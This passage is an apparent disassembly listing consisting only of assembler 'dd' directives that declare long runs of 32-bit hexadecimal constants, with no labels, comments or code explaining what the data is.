		dd 0BF01F3AEh, 3AAA168Dh, 34CBE60h, 0E94E3E32h,	0ED49E169h
		dd 52767409h, 63076813h, 608D9135h, 0EAEF853Eh,	0F542AA33h
		dd 0F1EF28FEh, 0A4900A4Bh, 5F4A4D6Fh, 9A9BC1Ch,	80688743h
		dd 9E084726h, 68289F15h, 0BE5B1608h, 4EDE96C1h,	9271FD7Bh
		dd 0D2AC91AFh, 1AC450E3h, 4FB865A8h, 0BFE63F20h, 0F0A3234Ch
		dd 614C164Fh, 0CBAC5B4h, 3780A64h, 5913A080h, 880810A3h
		dd 0C5752771h, 32BAC2Ah, 6A902065h, 0D0DFEEE2h,	1231B0ABh
		dd 492648E9h, 80D7EF05h, 5B52999Dh, 26EB87Bh, 35083DC0h
		dd 0A079FB01h, 901610B4h, 4E537E06h, 5450141Dh,	0FD00A258h
		dd 812DD774h, 0DDDF9F3h, 0EB3346CFh, 0C008752Eh, 0BA5B1707h
		dd 95EB472Ch, 0E9EF07FFh, 0F5612BF9h, 40161665h, 0E67F2EE1h
		dd 0BA5213F9h, 38F67305h, 8100F4F8h, 1470AACAh,	8832E96Bh
		dd 5701362Ch, 3B7D1641h, 52C94C90h, 61FC2808h, 40370F86h
		dd 0CF817004h, 8ED74B5Dh, 0E42EE70Ch, 6D0172A0h, 30673Dh
		dd 4AF5155Ah, 0C70E0005h, 0EDFE7CDAh, 0F59942B7h, 7B83E6C3h
		dd 0DFC76D27h, 0E00E30Ah, 3D692624h, 8A00076h, 3A4C8081h
		dd 6F43B62Dh, 0FE1A4A92h, 55D3D309h, 0C2F66D8Bh, 0B3E5500Eh
		dd 4AC48DF9h, 1CBB0398h, 0B700F549h, 3062F9CBh,	0E3D10560h
		dd 0FCAB57E9h, 31EBC465h, 3C8917E9h, 7055E711h,	2392FAD4h
		dd 6DF1FD4Bh, 0B299772Fh, 0BE0024E1h, 4B4FEADCh, 4B15A8F7h
		dd 0EF10DFB9h, 248A1319h, 291D2CAAh, 0C2579D60h, 763F0E7Dh
		dd 56E20A54h, 7C0EA04h,	871DC0F2h, 0F920CF74h, 29960264h
		dd 0FF5AD62Fh, 1C820C92h, 33D799BAh, 0DE67D110h, 0FC9414BFh
		dd 0AE4F9DE1h, 62C733D8h, 5DEAE970h, 0E94F937Dh, 0F7C20B94h
		dd 87C49959h, 0C510B846h, 60D42AEDh, 0C0E21D81h, 60E15203h
		dd 96D57EA6h, 560662BEh, 0FA5C1C57h, 0B1FEF871h, 0CA6806C8h
		dd 124A1B41h, 38BA5BC0h, 220713Dh, 46B96853h, 0F3FD2AD1h
		dd 0D66A026Ch, 125474D8h, 1306388Eh, 9091F2EAh,	0BBB94BCFh
		dd 0FB59C884h, 0F809CDE3h, 18D0CFE9h, 1FB2F595h, 5F26F183h
		dd 0F5E913D0h, 0B9017EBEh, 40447EE2h, 0D7E07260h, 684FAA0Dh
		dd 0A45323C5h, 0E2CDCA72h, 59080251h, 0B1BFD987h, 6F56B5B1h
		dd 0EB49170Fh, 438ED55Dh, 0C6C8EA97h, 95F9DD1h,	0D6597F3Eh
		dd 76EF84E9h, 167EF6AEh, 49BCD3F7h, 65840DDAh, 0AFBC84B0h
		dd 807F12CAh, 99A8092Ah, 0F59D5EF5h, 0D695059Eh, 0CF7627A6h
		dd 5C852573h, 0EA60EE22h, 4BA4D946h, 586F7924h,	0DE943C93h
		dd 2E28F1AEh, 0F74FDEE0h, 265702E4h, 26269B5h, 48011032h
		dd 8FC91B60h, 2CE6453Ch, 0E8E000FDh, 4E95E95Dh,	74D5435h
		dd 27F581Ah, 68EAC055h,	0A8575355h, 5E43B840h, 5F6AD87Bh
		dd 56C72925h, 25040814h, 5BFC0438h, 10E2E328h, 506C6610h
		dd 36263432h, 7F09DD3Eh, 1214D754h, 0EACBBF20h,	0C6E05117h
		dd 0ACFC757Fh, 66E50F7Bh, 0B9BD52F6h, 0A45964Ch, 58082489h
		dd 0EB76B07Fh, 4BAB9AEFh, 0E118EAC2h, 301A7CFCh, 0D7A036C7h
		dd 3A5AB37Fh, 0B0414CE8h, 0A2AAFC88h, 7B617727h, 55D2A7D3h
		dd 6A9D6DECh, 0D615EA3Ah, 0F6CC8818h, 0EEEC3501h, 0C1F17EB8h
		dd 0AA66C47Ah, 0AC4A6DB8h, 7862678h, 0FF65CBBBh, 0BB00C3E9h
		dd 2C505F8Eh, 0D6FAD989h, 0D0A6B65Fh, 0E69E3A6Fh, 0BA572783h
		dd 80755427h, 4053192Ch, 0E6974401h, 580C8076h,	27B8B45Fh
		dd 5D52FDF1h, 5E66755Ch, 36ED0932h, 0DE8C5F76h,	29802EA6h
		dd 6F3496EBh, 7EE0AFA9h, 0C2EE51ACh, 83DFD295h,	0F3C981BCh
		dd 308F0860h, 0FAAE871Bh, 0D64EF8E9h, 2E2DFB8h,	6861C459h
		dd 2F241088h, 314750CCh
		dd 0FB4B0BD5h, 0DB282966h, 6DD92908h, 0D5B22BD5h, 0E617BFD7h
		dd 84C588ADh, 2923BA03h, 0FD0AC85Bh, 0A71891FEh, 0AF67EFD7h
		dd 6885CD59h, 0F6A84312h, 4E11B2C0h, 0FF2FE907h, 1E4BDAC3h
		dd 0B8C9FE95h, 0EF148D35h, 43DDDF00h, 3CC166EEh, 0BF302EBh
		dd 3F93F09h, 33871C00h,	0B4A063BBh, 93FB0690h, 0DF1CCA94h
		dd 5B24254h, 0C7A62AFBh, 0FA3A85EFh, 0F3613202h, 27E200FEh
		dd 34737A68h, 54215225h, 772E60C6h, 0E9252C39h,	0D72A8B9Ch
		dd 7294065h, 0A7881009h, 782A3931h, 0F68FB080h,	9548E9D8h
		dd 805D3D89h, 0A8D954DBh, 20DD95C1h, 9A4FC3D6h,	8CE91614h
		dd 0F83CFE1Ah, 0F01B0012h, 3D96BA03h, 62BF0B3Eh, 2D114138h
		dd 0C96D5D6Eh, 485745F6h, 3BCF7CDDh, 4FC4E05h, 3462A593h
		dd 78ADAF2Dh, 7BE9F00Eh, 6575A05Ah, 0EA3C4465h,	0BB00948Bh
		dd 7123773Bh, 3865F2E9h, 4EE5B7Eh, 0BB7A375Ch, 247D1220h
		dd 0F80D4E3Fh, 0D9421060h, 4609BE4Ch, 9587F85Fh, 0EFB8C3F5h
		dd 0FA4FF5BDh, 5168097Dh, 0AEBD6714h, 25CAEA16h, 3189E3D5h
		dd 6EE0A260h, 96F58583h, 33513868h, 6470E860h, 25DC625h
		dd 0D787CA29h, 81809FF9h, 6BC722F1h, 53E0BD31h,	89B1D601h
		dd 24AD2608h, 6F5303D9h, 0EFD964D9h, 42E2976h, 0DFA98EC3h
		dd 0E92A88AFh, 217294Fh, 3C64561Fh, 0C30F081Fh,	0D9749F83h
		dd 0DCB9C3C7h, 353E78BFh, 0C9294482h, 0F59157DFh, 0CE5F305Fh
		dd 99BC2C5Ah, 0BFA00093h, 62A36F60h, 0B64BD35h,	0AB3485EEh
		dd 535551C1h, 40C5033Ah, 0FCC43CA6h, 75150E72h,	0D9F15763h
		dd 42E90702h, 42065ED6h, 0D060B276h, 40130ACAh,	0C0EA1585h
		dd 64CFF23Ch, 77F66027h, 0E0D64C84h, 2A04BBBFh,	297E741Ah
		dd 0B61D0BEh, 494A8042h, 781BC9AEh, 0DEA25F57h,	0FBB23F84h
		dd 0B868F320h, 0A07AB97Ch, 4FC202CDh, 0D1F7644Ah, 0A76D795Fh
		dd 0BBE060F2h, 0AFA678B9h, 4BB1F813h, 0B23F7BFDh, 0BE59726h
		dd 0D1132A8Fh, 601A257Fh, 0CFA9158Fh, 6BAB75F6h, 41356601h
		dd 0BAD4522Ch, 0BF237915h, 0E937E581h, 7B93651Ch, 8F84CFE9h
		dd 8A45BF63h, 0CAEA609Fh, 281F10B1h, 79C6E918h,	5316A005h
		dd 0D0E84ED5h, 0B02B0741h, 0DBA8FEF9h, 2324127Eh, 0A3025727h
		dd 684BE029h, 4B8758ABh, 32DCBE1Ch, 3EDB6A94h, 0BC9170D9h
		dd 0BC417695h, 0F9A87613h, 0C87E250Dh, 2750C5ADh, 6957463Ch
		dd 0AA225D11h, 0AD890A2Eh, 85506660h, 2ABA1302h, 0C8FD8A03h
		dd 827C02B8h, 0D494E3F5h, 0C4BBB2FFh, 68031CD0h, 152F129Eh
		dd 0F53542E1h, 0F979BD16h, 0D759ED2Fh, 46075503h, 8E60D13h
		dd 25493D44h, 0D97695ABh, 7A383103h, 1E58BBA3h,	14D92F27h
		dd 918031C5h, 61EEE930h, 8759EEDAh, 0F0282A14h,	0E65E5BF0h
		dd 39FE5FC9h, 8EC92EA5h, 3C67CDECh, 0F713506Dh,	20BB0BDDh
		dd 0CDD8C5Dh, 2CC77E6Ch, 40523195h, 0E3F0A6E4h,	74A7E913h
		dd 93E081C9h, 351979Dh,	0D70002ACh, 0BA19694Eh,	0D8C13B6h
		dd 5B10BC46h, 256820B0h, 71664795h, 0B02C5ABFh,	7B363D59h
		dd 4717A2Eh, 0ACF5A9E9h, 2DAC9321h, 41E9EAB0h, 0F7F70295h
		dd 0F875C0D6h, 2B30FF4Eh, 3AA23AEEh, 240C05B1h,	2967E4CAh
		dd 0F9E9F20Dh, 3CD55CF4h, 0E5F2B244h, 0CD50BF4Ah, 0F8F20187h
		dd 68518EB4h, 89C4A57Fh, 5E091624h, 20E29F5Bh, 7C20E092h
		dd 0EFBB07EAh, 0D460DF2Fh, 0A7CAC2DEh, 6F09D20Ah, 95094466h
		dd 519C817Fh, 283FD189h, 59255B8Dh, 666F685Ah, 6FE59D47h
		dd 7FADED00h, 0E9E91FBDh, 2F60E62Bh, 9077961Ch,	5980CE4h
		dd 9CEA624Fh, 0F5010DCBh, 9AAEE244h, 0BD9A625h,	0C3F482F7h
		dd 4ACE77D8h, 7878FEF7h, 4F036839h, 4E7963B3h, 0E9328C3Dh
		dd 0C5132F4Fh, 713C12ACh, 400BBA40h, 23100A64h,	0A174B908h
		dd 0D038678Bh, 0D25B2D4Ch, 0D07DC65Ch, 0FEFEFC80h, 0DD4E4173h
		dd 2DAB2FE8h, 63AE2FC6h, 0D73B3B45h, 6552135Fh,	1950CB53h
		dd 1B6F0A93h, 82AE8D41h, 93EE2951h, 6C442D13h, 30561499h
		dd 80803337h, 0FEEA39C4h, 0E0E04ECh, 0AF7E7EBDh, 8340281Eh
		dd 6F3527E9h, 0D73D3475h, 0BA80C522h, 0E8D2ABA6h, 0F86BE9ECh
		dd 4E68C1DBh, 0EE606C19h, 0D34B6EF3h, 0E3C0B2A1h, 94DC6002h
		dd 2F5AF1F7h, 0DC17CA8Bh, 84F2FD59h, 1819325Bh,	0F6DADFD8h
		dd 0A7D9E3D7h, 0CEBC81F5h, 0D2CFE35Bh, 5EC59C9Ch, 5D3DCC0Eh
		dd 59BFC217h, 4C8CC0Bh,	571F9894h, 7D46F342h, 0B440B04Bh
		dd 8D60DAF5h, 0FAEEFC3Ch, 4486BF3Ah, 5107A504h,	0F180C0B1h
		dd 0E9D1F630h, 3DDD60D4h, 183017C1h, 0C829FB18h, 26A10577h
		dd 272E0734h, 0DF5AE2DEh, 0BED8E305h, 24654016h, 49A92BE0h
		dd 0D5079101h, 0A405E5C0h, 3FB1882Dh, 0B8B63E5Fh, 58B50D20h
		dd 94B92AB2h, 13681C2Bh, 0B4FD2754h, 632E002Bh,	0B8502F90h
		dd 7B2E18BCh, 0A004038h, 0E93AD653h, 91315ECDh,	0DCB800h
		dd 0B489ABAh, 0D7011C62h, 0BF3D6E87h, 0E8E08996h, 46A86DDFh
		dd 2F1D7205h, 7265775Ah, 0ACE92548h, 387E9D62h,	5520F2EEh
		dd 5A841CCDh, 41CBED4Ch, 5FD2F408h, 5874FE97h, 4A920E2Dh
		dd 12B1A2BFh, 807F0B58h, 0AB7F35FFh, 2D589D13h,	13E16DFBh
		dd 0F9D0C4E9h, 2E2A94E5h, 2507549h, 0D273BC6h, 423540DDh
		dd 824FD4DAh, 57A6D139h, 0F8582551h, 78AAF6B5h,	38C0C2D5h
		dd 2D7508B9h, 1B9B83Ah,	31DA69E2h, 727885E9h, 8C4A138Fh
		dd 0D105E2B2h, 0C748DB5Dh, 34271107h, 0E8E33A5Bh, 8756CF25h
		dd 9FF3F22Fh, 0AA5830DEh, 0EEDFC042h, 0E5291F92h, 80F9095Ah
		dd 1896DC12h, 268D1EA8h, 29136609h, 8B988CEh, 8959AC2Ch
		dd 0BFC9D51h, 9104F02Dh, 0B1FB7944h, 52052EEAh,	62D50C57h
		dd 3E166CB2h, 0CE1B90B5h, 0D89FD373h, 8C360953h, 0C9A1D02Ch
		dd 0BA24DDE9h, 0A52CE13Dh, 0DF30E662h, 0C8CE4F49h, 0D64A4FA4h
		dd 2CFB4553h, 79256814h, 649D5436h, 8342A0B2h, 1D84D4A2h
		dd 0D889077Fh, 48D5B1F5h, 75A67CAFh, 0EEA01BAh,	0D80083D7h
		dd 27F12D58h, 351E026Ch, 26211BBDh, 6D86FA81h, 14B03A3Bh
		dd 3E856C2Eh, 7E4EE2EAh, 34AA3E50h, 0A2AB4ED5h,	0CE0C674Ch
		dd 89993700h, 4836C4D9h, 0CDE2AAC4h, 21393479h,	2D8AC0D9h
		dd 967F1088h, 13BE91FAh, 39EE8004h, 538FC0FAh, 0F7F2C8B7h
		dd 0C70B1A7Ch, 0E37EE988h, 1B799808h, 73B0B8BDh, 0CD1317C1h
		dd 0F8A8112Fh, 4715097Dh, 218750F8h, 0AC234B69h, 0D7508B3Dh
		dd 6C079E28h, 0F32939ABh, 33A867E5h, 26345630h,	3C035E3Bh
		dd 0D27C052Dh, 7700A501h, 7FCDA535h, 88E5BE72h,	0F73ABC70h
		dd 0CFDF8FA2h, 21E90565h, 7834B2FBh, 0E69BEB25h, 9747250Ah
		dd 5A73A074h, 12BA9Ch, 0E94820BEh, 12923782h, 4AEDFA5Bh
		dd 0DBE7AF93h, 0DBBEE909h, 849926C4h, 3F13E428h, 4F06D95Eh
		dd 76A4F717h, 41182655h, 51DA8CF5h, 0C19AABC5h,	60AFDF97h
		dd 9557C945h, 6BE2A4A4h, 0FE5A7D40h, 2604951Eh,	45A9B55Fh
		dd 2847BB9Ch, 5CCBC2E9h, 4253C6F5h, 25139F9h, 0E400AC1h
		dd 3065D538h, 0A8577993h, 2066CFAEh, 0BE664EEDh, 0FE6D8745h
		dd 0AAEDFB52h, 641FEA93h, 0BD1E725Bh, 55B80785h, 5B5A15B6h
		dd 2EE6D7F2h, 72EC2AEDh, 2098A1h, 0F0803B8h, 822D2318h
		dd 0F21A5447h, 0C0A0D476h, 38B75846h, 51555A1Fh, 0DD49F04Bh
		dd 0AA0B6FB2h, 0F0E72B5Fh, 5B082D9Dh, 0E924CF72h, 5803603h
		dd 12E574DBh, 5D873168h, 558D3B89h, 0B92F2D8h, 55154C9Bh
		dd 120DC48Ah, 401CC02Ah
		dd 0A439BC35h, 0C2319F47h, 0D825952h, 6D807551h, 885052BEh
		dd 6DBCF84Fh, 6F39295Fh, 0DCE005D2h, 0B4474904h, 0CBAFE902h
		dd 0A513DBFFh, 0A4BDE6F9h, 730450B8h, 7582E801h, 0A6805D23h
		dd 0C84A5025h, 0A3E22D4Ah, 95052Ch, 0A9BD3D6Fh,	77040738h
		dd 6A74ED81h, 0E0CD81FAh, 15F37E10h, 25F0B696h,	815E5627h
		dd 0DC6CD768h, 8E023B08h, 0F4543270h, 6E97248Bh, 77A15CC0h
		dd 5995899Ch, 2DD669CDh, 75CF100h, 90DD891Ch, 4DD9646h
		dd 0EFEED15Bh, 684B041Ch, 0C8987505h, 632DAAB9h, 2A29C0BEh
		dd 11E4253Ah, 0C981317Ch, 7FAD1A4Dh, 842430h, 0D519C7Bh
		dd 23967E0Ah, 6740D290h, 2F1D9129h, 9A9D5A48h, 7EAFE89Bh
		dd 0F94E3D0Ch, 5BE93E8h, 0CCBD1D71h, 2D015BB4h,	6123574Fh
		dd 3283D829h, 138F2C76h, 20A5DA2Dh, 0E32A7D0h, 9DEBB839h
		dd 325FD209h, 50985F1Ch, 0A6273DD8h, 5504A76h, 9CFE5B08h
		dd 599F5DB7h, 167E6B7Eh, 6414E978h, 0EC097C77h,	12F82FC3h
		dd 9BE0DDC2h, 0C125804Ah, 0AE8D756h, 0CA0E88DEh, 75EB559h
		dd 0EDB15AD5h, 5CDC0F3h, 0C3FA831h, 7AFE50FEh, 1AA1E3Dh
		dd 80260BB8h, 5232971h,	0BD116885h, 435C3028h, 2DBC16BDh
		dd 0C141D8CDh, 73923C09h, 407D720Ch, 139B0C37h,	0B94F7E07h
		dd 58AD82BBh, 0D0EA6008h, 0EFC180D7h, 0FC5B6290h, 2DABD717h
		dd 125423AEh, 0D449B722h, 68095752h, 9F5F167Dh,	0E91776F8h
		dd 2DBF5787h, 3FDBF5FFh, 9BC9A216h, 90D4A9E8h, 2A6816D6h
		dd 41C1B23Bh, 0D7C57D98h, 0E96A80BFh, 8E9A1385h, 9855AD25h
		dd 2F15E523h, 89D02A46h, 4B4B64B7h, 0C706BD02h,	0A11BECE9h
		dd 1529BBABh, 4889E6CCh, 81B4FDDFh, 2038C2ECh, 7C4BE9F2h
		dd 0EE0164C1h, 3C4A5CA7h, 0A50945FFh, 12819E5Dh, 2269E5E9h
		dd 0C2773082h, 304A5CD5h, 423A3DFEh, 0E6817F01h, 7CC31358h
		dd 17712F30h, 90DBB2Ah,	0D479A5B7h, 41995E2Dh, 0C67CAEBEh
		dd 595E6342h, 0E80A84A5h, 0AF6324FFh, 50145B49h, 0F4EBD4Fh
		dd 7BB7FB7Dh, 0DA7F49FAh, 535A0F7Eh, 3429BCB3h,	0AF509A24h
		dd 1896BE2h, 0CA6E79D5h, 7FEB0014h, 0E96D1457h,	92D0B032h
		dd 0B7EFD554h, 5ACDD525h, 61BCE98Bh, 0BA2E2DAAh, 685B5401h
		dd 13504B25h, 317B951h,	5703957Eh, 450401BFh, 37E9F929h
		dd 0BA02ACB8h, 30521790h, 49CAC875h, 3BCC4D5Eh,	947B7F05h
		dd 0E0C4565Dh, 2F411771h, 0F1BAB13Ah, 460AAC30h, 18D751Eh
		dd 0C4E31BF5h, 0AE131251h, 0C2490419h, 575B0902h, 0CEF447D0h
		dd 0A7CA154Fh, 341CF302h, 0B94075B7h, 56301446h, 8230C6Fh
		dd 6CBA4822h, 0CD28E909h, 0FAD65D26h, 491EA509h, 0FE0F5F3Ch
		dd 0BBAA8413h, 6064AC49h, 24665D95h, 2DAAD031h,	0B868B181h
		dd 4C042443h, 38FFBD4Fh, 7E974B07h, 55004F6Fh, 5F3AB030h
		dd 9017190h, 0E9455A17h, 0CA2E4CC7h, 9FF2026Fh,	5F271F69h
		dd 3E2523D8h, 0B444A0FEh, 90CE76BFh, 63729703h,	5690E926h
		dd 5E51FBDh, 0AF64F581h, 0B86FD5F2h, 16AAB404h,	0DFCC71E6h
		dd 54443BE8h, 920BA16Fh, 572E2D85h, 440CEEEBh, 0BE31316Ch
		dd 0BFE730CAh, 4FF01271h, 0C2242C98h, 0ED8CB406h, 1DBF3C5Ah
		dd 0ED391BCAh, 0C094B0E3h, 0D8200E2Fh, 5AD26E58h, 7C8C11F0h
		dd 0C2A49131h, 0A9C25FF8h, 11158975h, 52DEE7AAh, 91E8B58Dh
		dd 0FE4FE1E8h, 602F7188h, 5BDD4523h, 5992895Fh,	0A788574Eh
		dd 3AC4417Ah, 0E94E2CFBh, 0C20D7368h, 3D1FD002h, 0BAE0402Ah
		dd 0A9952856h, 2C2302EDh, 0E6C10F28h, 41C6DA40h, 8BD77D12h
		dd 40679E01h, 2A853F1Fh, 0B9536960h, 22066D24h,	67840B04h
		dd 1AF4171Fh, 0C13552EEh, 6DD7BEE6h, 0A1A84FE2h, 1D5502Ch
		dd 28E5B4CFh, 0C33732CCh, 0F2FCC580h, 0ADD6C3E5h, 0E9AC31B8h
		dd 741B5225h, 3BF0EB54h, 0FC4B5DFCh, 499C17F4h,	0B84E40AFh
		dd 0DDF3057Ch, 5B81366Ah, 0B97F72F0h, 0DC16DF62h, 0FC61DF4h
		dd 93A1499Eh, 0B43C1064h, 0C704F382h, 43449911h, 0B9270EADh
		dd 0BA66F105h, 0B7D68E10h, 7D42FFDEh, 7553E91Bh, 672C33C5h
		dd 50660101h, 0EF2B97B4h, 0F504B525h, 0F105FF10h, 0FED8FE4Fh
		dd 18261D70h, 84E98641h, 0B63B285Ch, 6183AF8Ch,	9720ADDCh
		dd 7531606Ah, 9C1A8DC2h, 0AA301D7Bh, 0AB2CB8D7h, 2212CB04h
		dd 505E9F0h, 5C3DED4Bh,	9F4F05FBh, 0A9908864h, 40095809h
		dd 7448401h, 5253AEADh,	1CCA0092h, 0E9B1E4DAh, 0DDC84D27h
		dd 5A938030h, 0F9C99BC0h, 0F64F3611h, 0B8454E2Bh, 57E5E752h
		dd 0D73EE0B1h, 34389300h, 0E351202h, 5750C94Ch,	4B845D62h
		dd 2D5B0563h, 0EC4BB1FEh, 0E6BF2015h, 9ECA2005h, 13ECB24Ch
		dd 6495D4B4h, 43C3DDAFh, 0F15EBD3Fh, 218822AAh,	2FE4E8C1h
		dd 8EF5E2D0h, 0F8A04BC4h, 41800585h, 50EE2892h,	0F94C0849h
		dd 0CEFFB530h, 33D53C2h, 8A29AA07h, 2868AD0Ch, 0BC43F977h
		dd 44CD814Fh, 9E25581Bh, 93F4606Ah, 5CE92181h, 0E24BD42Ch
		dd 81E4B4A8h, 35CF6A0Ch, 0B33C06A2h, 741C0C1Dh,	1CF1833h
		dd 8A8DCC1h, 55140CD0h,	89076654h, 0EA655D51h, 8445D393h
		dd 758DCC7Fh, 685DC910h, 76144847h, 50272DD5h, 0D99731E4h
		dd 0EA7A34B3h, 5CAC87ECh, 6985A90h, 39574B17h, 75917105h
		dd 0E17DBBFDh, 5275AB3Bh, 565D0203h, 260AEC8h, 0F264536h
		dd 12E2FD29h, 0F9D50809h, 64992892h, 85FAA931h,	0D7C4FFBBh
		dd 0A183BCBBh, 493A29D7h, 477F9E67h, 0AD29925Fh, 3836108Ch
		dd 0E009B148h, 0AF96CB30h, 0DC885016h, 0A4E514FFh, 0FAD3E5B7h
		dd 9D2A68Ah, 0D61141Fh,	12FF2E2Dh, 24A6BB66h, 0EA52527h
		dd 5D2BFEE3h, 9CDEAA4Eh, 1280BA76h, 0E361BF68h,	2EF80B15h
		dd 41D9A023h, 9F6ACD69h, 3A93C89h, 9572D7h, 0C5074ABEh
		dd 4EF68131h, 0F5890DC5h, 39E9D2h, 0EB804334h, 6A97215Bh
		dd 7A465F59h, 0EBE1F1B5h, 0D2693DD9h, 300B514h,	4192C8Fh
		dd 0D52EF590h, 0EC4265D7h, 8102D601h, 2B568CC6h, 0B5FF4267h
		dd 0A9E8E029h, 0B05E8236h, 0B377B103h, 0B784BE0Eh, 7AFDE6E4h
		dd 0FA2FF889h, 7F59114Bh, 0D42411C6h, 0DA53B4D5h, 527F49A0h
		dd 0C174342Fh, 80F09FA5h, 783AC17Dh, 0C351AD23h, 3B061A6Fh
		dd 405DB894h, 0DB2EE907h, 0F5A55832h, 0D6AA536Bh, 84600892h
		dd 0FA247EF3h, 3712F36Fh, 0A2F96DCCh, 18705F32h, 67D7E916h
		dd 2057CDABh, 3B28384Dh, 4C20E5C6h, 15A13D3h, 6DD9AB6Ch
		dd 0CB2A302h, 79F50D6h,	0D5045975h, 0C5D7FCEFh,	0B4BAEF28h
		dd 0A204BFEEh, 475D5F6Bh, 81ED82EFh, 5B17D5FEh,	4C47861Eh
		dd 7FCB2D63h, 2E686AA1h, 93D42D49h, 6E208003h, 0E581C87Bh
		dd 7E222E35h, 0A8CD01D3h, 3B099A62h, 4C38B5B1h,	204F0202h
		dd 8E754E31h, 0C4E58074h, 0B25EF089h, 0FFCC16Ah, 0E73ECA65h
		dd 8C19628h, 68127C84h,	0AFC83C4Ch, 9517A57h, 4A345FABh
		dd 9E25247Ah, 3199D7AEh, 0D15E0053h, 0FF554AEFh, 84BB4023h
		dd 1601A714h, 292361CCh, 24ACF5F7h, 874E452Eh, 5A10DBACh
		dd 0DEBB0088h, 813D747Eh, 24A900E3h, 0B9512B34h, 90162513h
		dd 41AF3173h, 5BFE669Fh, 6856FCA5h, 0E6273B27h,	5760731h
		dd 0E0553244h, 129A0785h, 501F78A4h, 5CC9EDB8h,	0F50E892Eh
		dd 0C4FBC63h, 13C816ABh, 67A7AE2Ch, 5FFA2909h, 4585B55h
		dd 0A5FED1E2h, 7861E111h, 68BA4E84h, 0F2258CDEh, 727BFEh
		dd 0A4B693B3h, 390BC680h, 0D1DB3EE9h, 10F0AC6Dh, 2E3501ECh
		dd 31563F39h, 5B5E286Fh
		dd 0A49AF128h, 0B43C604h, 0D4FA2AD5h, 5B080FF6h, 1750ED3Fh
		dd 72156C13h, 0E39E8181h, 705FA734h, 0D8FC9545h, 194307CAh
		dd 0CFE50422h, 0C07437FEh, 7801C730h, 63BDCE2Fh, 0E935125Fh
		dd 0F769C78Fh, 0BC977CFh, 0BE633DFh, 0D12061B6h, 10F3C885h
		dd 5E29089Dh, 0CA602580h, 0C497F9DDh, 0EB555FCEh, 17285960h
		dd 0BE470214h, 0C4458CB9h, 0A0970FDDh, 62FF7268h, 7D919531h
		dd 50F07CDCh, 9D5F64F9h, 846F38A5h, 0A58A8CFBh,	0FD6409BFh
		dd 0D997801Ch, 0B5E9610Eh, 4C18741Fh, 0D4BD4D70h, 515C72A9h
		dd 16418528h, 59728700h, 552926BEh, 0FE0E124Bh,	0F4F71332h
		dd 0AEC792D5h, 0F740EDA1h, 0FE1F50E7h, 0F283BD75h, 0A2E916EFh
		dd 91D8FB33h, 8B5A01E3h, 0EB4A8FECh, 908EFBCCh,	0FB53D247h
		dd 40A5BAE1h, 0C5CEC2F7h, 0FE2AB519h, 0F14449Fh, 6A1AD9B7h
		dd 0BC80B0D5h, 1BE65DD1h, 344BD9F6h, 794CE9B7h,	9478B612h
		dd 22E982DAh, 466113B2h, 35347A03h, 2068CA43h, 9A232C69h
		dd 0E3808788h, 43478270h, 0F10776C4h, 2F821B6Dh, 0D567BCC2h
		dd 6612C0F3h, 0BEDE31EAh, 2C992F31h, 92DEFDE8h,	59CD2568h
		dd 2D5A6570h, 11112BFh,	0EA329F19h, 0D3FD6215h,	585B2C09h
		dd 0B1B29F43h, 2D724F7Fh, 6850DBDCh, 0DC024D62h, 0A9302294h
		dd 0F6E8E5F9h, 4125D57Ah, 8FAEC840h, 0B026FA3Ah, 2C6AFC31h
		dd 2271D7Fh, 2180089Eh,	0F1490ED4h, 0C6C308D1h,	0D9405A0Bh
		dd 0BEB2A6B4h, 0C0580C64h, 645C6BD5h, 5D1CA35Bh, 4913C1DFh
		dd 94F92B53h, 36F65125h, 98A925Eh, 0A456E917h, 0F988DB7Ch
		dd 0CD7A8821h, 0B02EA8Fh, 7D0582Eh, 0B450C2FEh,	80CC516Bh
		dd 6C0E70ECh, 0FDECB55Eh, 0D6C08FC7h, 0CE982006h, 20C1D176h
		dd 822DCBEh, 52EEDE40h,	5FD31D36h, 3ECEC146h, 30620161h
		dd 120245ADh, 56808CAh,	940CC74h, 76971637h, 4E8BAF80h
		dd 81024D87h, 517D18F2h, 1217F025h, 1DC3834Bh, 3CF8E574h
		dd 0D9CCEB9Dh, 64E84CD5h, 0FBDF5E29h, 6F21F742h, 6865C81Ch
		dd 0E62BE5F6h, 2FA4948Ah, 68DC104Dh, 0C77B51B5h, 5ADD8460h
		dd 0B2D980D3h, 0E09D88AAh, 8092348Dh, 0FEBBDF31h, 0F6F8210Bh
		dd 3B176D4Ah, 0AB9250A9h, 0F1D04EA6h, 64478C04h, 0F294FF40h
		dd 0FF5F0809h, 0C1010445h, 0C8E90EE8h, 685F48E6h, 0F127097Bh
		dd 0F1565D70h, 0F5B0B1C4h, 6D681766h, 0FB71BF67h, 0F080C562h
		dd 7C7E19B8h, 0EB090542h, 2BBD8381h, 72855AA6h,	6C608267h
		dd 8720033Fh, 79B60944h, 8B8023F1h, 0B2182034h,	5FF8290Bh
		dd 2FBC7031h, 0ED65EF3h, 0A29DD1EBh, 0D2F38DBh,	6669BA4Bh
		dd 62D8CFEBh, 905A1F0Ah, 0EC142909h, 7D4009A4h,	5D986EF0h
		dd 0FEE2B213h, 0B98450BCh, 9E65E8DAh, 7221B30Bh, 17F4042Bh
		dd 0C0492BB6h, 75610685h, 54E96408h, 0FFB9122Ch, 23BCAC84h
		dd 0ECDA443Fh, 23C2A7F4h, 8235F615h, 0A62445FAh, 0EAC8FBCBh
		dd 7A2D0B8Dh, 80EA83Bh,	97163F28h, 4BE7FFE0h, 6F74915Ah
		dd 58286A05h, 35D97EAh,	0AC1CE959h, 0DDAA28EBh,	0E0415B48h
		dd 5E870B8Eh, 1055B31Ah, 44B5A9Dh, 0C02022D8h, 3AD2CF89h
		dd 476C1504h, 3AD4DAE9h, 5F4DCBEFh, 0FF5EA5DBh,	85FF3C52h
		dd 59A2E4AFh, 0E9151DAEh, 6FDED969h, 5A4E0B44h,	0BF144163h
		dd 3EB7Eh, 9613F21Ch, 0F9B44EBCh, 41BD4A19h, 0A8F6E9F0h
		dd 0F0144497h, 57429709h, 5333FC77h, 6E9E80Ah, 0E282B212h
		dd 89CC1BCEh, 6A698091h, 5AF71CDEh, 0A5E4B1DAh,	5A757426h
		dd 0C3A1C1B8h, 4E17782h, 5D0B3A75h, 0FD321B0h, 90EA2984h
		dd 8BAEB952h, 13A29310h, 0CEFE881Fh, 0EB92E6D4h, 5B70918Ah
		dd 0E5E9A815h, 0E0F7F00h, 0BB85BEDh, 0A412F1F0h, 0B5D5825Dh
		dd 9A185D69h, 0FF82C5ABh, 4943728h, 0F1079F09h,	0FBB27A21h
		dd 69CC04A5h, 75BB09E1h, 0DD84622Ch, 4E331712h,	6A18C001h
